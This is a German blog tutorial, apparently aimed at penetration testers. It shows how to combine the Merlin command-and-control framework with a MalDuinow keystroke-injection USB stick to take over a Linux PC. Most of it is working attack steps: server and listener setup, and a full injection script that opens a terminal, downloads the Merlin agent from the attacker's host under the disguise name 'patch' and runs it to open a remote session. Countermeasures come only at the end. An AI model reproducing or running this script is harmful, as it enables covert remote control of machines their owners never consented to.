Sowohl das Post Exploitation Framework Merlin als auch MalDuinow von Maltronics haben wir in diesem Blog vorgestellt. Beide haben seit damals nichts von ihrer Bedeutung verloren und erfreuen sich nach wie vor großer Beliebtheit in der Anwendergemeinde.
Vorbemerkungen:
In diesem Artikel wollen wir zeigen, wie beide Tools erfolgreich zusammenarbeiten können. Dazu setzen wir einen Merlin-Server in einer virtuellen Umgebung auf und verwenden MalDuinow auf einem Linux-Client, um den Agenten zu starten. Dadurch wird eine Rückverbindung zum Server aufgebaut, über die der Linux-PC ferngesteuert werden kann.
Wir stellen hier nichts grundlegend Neues vor. Es ist jedoch beeindruckend, wie einfach es für einen Angreifer ist, Zugriff auf einen PC zu erlangen, wenn er physischen Zugriff auf die Hardware hat. Geräte wie der USB-Rubber Ducky, MalDuinow oder Digispark sind dabei eine große Hilfe und sollten in die Toolbox eines jeden Penetrationstesters gehören. Es geht hier nicht darum zu zeigen, wie man sich unbemerkt Zugang verschaffen kann, sondern darum, ein Bewusstsein dafür zu schaffen, dass IT-Geräte niemals unbeaufsichtigt sein sollten.
Szenario
Um die Vorgehensweise einfach und verständlich zu halten, befinden sich Angreifer und Opfer-PC im selben Netzwerk. Es ist davon auszugehen, dass dieser Angriff auch netzwerkübergreifend funktioniert, wenn es den Benutzern im lokalen Netzwerk erlaubt ist, sich z.B. über http/https mit dem Internet zu verbinden. In diesem Szenario gehen wir davon aus, dass MalDuinow an einen Linux-PC angeschlossen wird (1) und dort unbemerkt bleibt. Der Angreifer nutzt die WLAN-Verbindung zum MalDuinow, um ein Skript (2) zu starten, das den Agenten herunterlädt und ausführt. Das Ergebnis ist eine Verbindung zum Merlin-Server (3).
Wie gehen, wie bereits bekannt, Schritt für Schritt vor.
Schritt 1: Merlin-Server starten
Wir gehen davon aus, dass Sie über eine virtuelle Umgebung verfügen. Wir haben Ubuntu 22.04 in einem Container in Proxmox VE installiert. Für den Test reichen eine CPU, 1 GB RAM und 8 GB Festplattenspeicher aus.
Die Installation des Servers haben wir in unserem Buch „Hacking mit Post Exploitation Frameworks“ beschrieben. Außerdem gibt es im Entwickler-Wiki eine Schnellstartanleitung.
Nun können wir den Server, der sich im Verzeichnis /opt/merlin befindet, mit folgendem Befehl starten:
sudo ./merlinServer-Linux-x64
Öffnen Sie nun ein weiteres Terminalfenster und starten Sie dort die Kommandozeilenschnittstelle (CLI), die sich im Verzeichnis /data/bin befindet:
sudo su
cd /opt/merlin/data/bin
./merlinCLI-Linux-x64
Schritt 2: Listener einrichten
Um Daten vom PC des Opfers empfangen zu können, muss auf dem Merlin-Server ein Listener eingerichtet werden. Wir gehen davon aus, dass Ihnen die grundsätzliche Vorgehensweise und die Bedeutung des Listeners bekannt sind. Merlin unterstützt in der aktuellen Version folgende Listener: HTTP, HTTPS, H2C, HTTP2, HTTP3, SMB, TCP, UDP.
Um einen HTTP2-Listener auf dem Merlin-Server einzurichten, verwenden Sie folgenden Befehl im CLI:
listeners
use HTTP2
info
Passen Sie nun den Namen des Listeners und das Interface mit folgenden Befehlen an und starten Sie ihn:
set Name http2
set Interface 192.168.171.154
start
Kehren Sie nun ins Hauptmenü mit dem Befehl zurück und zeigen den eingerichtete Listener an:
main
listeners
list
Schritt 3: Übertragung des Merlin-Agenten vorbereiten
Bei der Installation des Merlin-Servers wurden auch die Agenten für die Betriebssysteme Windows, Linux und macOS im Verzeichnis /opt/merlin/data/bin abgelegt. Diese müssen auf die jeweiligen Zielsysteme übertragen und dort gestartet werden. Diese Aufgabe übernimmt später der MalDuinow. Damit dieser den Agenten herunterladen kann, richten wir mit Hilfe von Python einen Webserver auf Port 80 ein. Öffnen Sie dazu ein weiteres Terminalfenster auf dem Merlin-Server und geben Sie folgende Befehle ein:
sudo su
cd /opt/merlin/data/bin
python3 -m http.server 80
Schritt 4: Skript für den MalDuinow erstellen
Der MalDuinow baut ein eigenes WLAN auf, sobald er über USB mit dem Zielsystem verbunden ist. Standardmäßig ist er über die SSID malduinow und das gleichnamige Passwort erreichbar. Das Webfrontend ist über folgende IP-Adresse erreichbar:
http://192.168.4.1
Wer mit den einzelnen Befehlen noch nicht vertraut ist, findet auf dem Webserver auch eine kurze Anleitung. Erstellen Sie nun ein neues Skript mit dem Namen merlin und fügen Sie folgenden Inhalt hinzu:
LOCALE DE
REM LED auf ROT
LED 255 0 0
DEFAULT_DELAY 1000
GUI SPACE
STRING xterm
ENTER
STRING cd ~/Downloads
ENTER
STRING curl -s http://192.168.171.154/merlinAgent-Linux-x64 -o ./patch
ENTER
DELAY 4000
STRING chmod +x patch
ENTER
STRING ./patch -url https://192.168.171.154:443 &
ENTER
STRING exit
ENTER
REM LED auf GRUEN
LED 0 255 0
Die wichtigsten Befehle werden nun kurz erläutert:
Zeile 1: Stellt die Tastatur auf den deutschen Zeichensatz ein.
Zeile 3: Setzt die Status-LED auf rot
Zeile 4: Setzt eine Verzögerung von 1000 ms nach jedem Befehl
Zeile 5: Windows-Taste und Leertaste werden gedrückt
Zeile 6: Der Befehl xterm wird aufgerufen, um ein Terminalfenster zu starten.
Zeile 10: Der Merlin-Agent wird heruntergeladen und als Datei patch im Download-Verzeichnis des eingeloggten Benutzers gespeichert.
Zeile 12: Die Verzögerung wird auf 4000 ms erhöht, um dem Download etwas mehr Zeit zu geben.
Zeile 15: Der Agent wird gestartet und in den Hintergrund geschoben.
Zeile 17: Das Terminalfenster wird geschlossen
Wenn alles funktioniert hat, sollte eine neue Verbindung zum Merlin-Server aufgebaut werden. Geben Sie die folgenden Befehle ein, um weitere Informationen zu erhalten:
main
sessions
Schritt 5: Mit dem Zielsystem interagieren
Um mit dem Zielsystem zu interagieren, verwenden Sie den Befehl interact gefolgt von der Agenten-GUID (siehe Abbildung ). Wenn nur eine Session verfügbar ist, wird diese sofort ausgewählt. Sind mehrere Sessions vorhanden, kann mit der Tab-Taste die gewünschte Verbindung ausgewählt werden.
Das Kommando shell führt Betriebssystemkommandos auf dem Zielsystem aus. In diesem Beispiel haben wir den Befehl netstat mit der Option -tulpe gewählt, um uns alle aktiven TCP-Verbindungen mit numerischen Adressen und Portnummern anzeigen zu lassen. Verwenden Sie auch hier den Befehl help, um weitere Kommandos anzuzeigen.
Erfahrene Angreifer und Penetrationstester können nun weitere Informationen aus dem Zielsystem auslesen. Es wäre auch denkbar, eine Hintertür zu installieren, um wieder auf das Zielsystem zugreifen zu können, falls die Verbindung zum Merlin-Server einmal unterbrochen werden sollte. Dies ist jedoch nicht Gegenstand dieses Artikels.
Gegenmaßnahmen
Um einen Keystroke Injection Angriff wie den beschriebenen zu verhindern, muss man mehrere Sicherheitsmaßnahmen ergreifen:
Präventive Maßnahmen
- Deaktivieren der automatischen Ausführung von Datenträgern: Dies verhindert, dass Skripte auf USB-Geräten automatisch ausgeführt werden.
- Beschränkung der USB-Gerätetypen: Durch Whitelisting oder Gruppenrichtlinien können bestimmte USB-Gerätetypen wie HID-Tastaturen blockiert werden.
- Physische Sicherheitsmaßnahmen: Öffentliche Rechner sollten keine USB-Ports haben oder diese versiegelt sein.
- Mitarbeiter sollten über die Risiken von USB-Geräten informiert werden.
- IT-Geräte sollten nicht unbeaufsichtigt gelassen werden.
Reaktive Maßnahmen nach dem Angriff
- Nach einem Angriff muss das System sofort vom Netzwerk getrennt werden, um eine weitere Ausbreitung zu verhindern. Alle Zugangsdaten müssen geändert werden. Das System muss auf Schadsoftware, Hintertüren und Kompromittierungen überprüft werden. Falls eine Kompromittierung nicht ausgeschlossen werden kann, muss das System neu installiert werden.
- Forensische Analyse zur Aufklärung des Angriffs und zur Ermittlung der Täter.
- Überprüfung und Anpassung der Sicherheitsrichtlinien, um zukünftige Vorfälle zu vermeiden.
Durch technische Kontrollen, Richtlinien und Schulungen lässt sich das Risiko von Keystroke-Injection-Angriffen deutlich reduzieren.
Das nachfolgende Video zeigt den Einsatz des MalDuinow in Zusammenarbeit mit Merlin.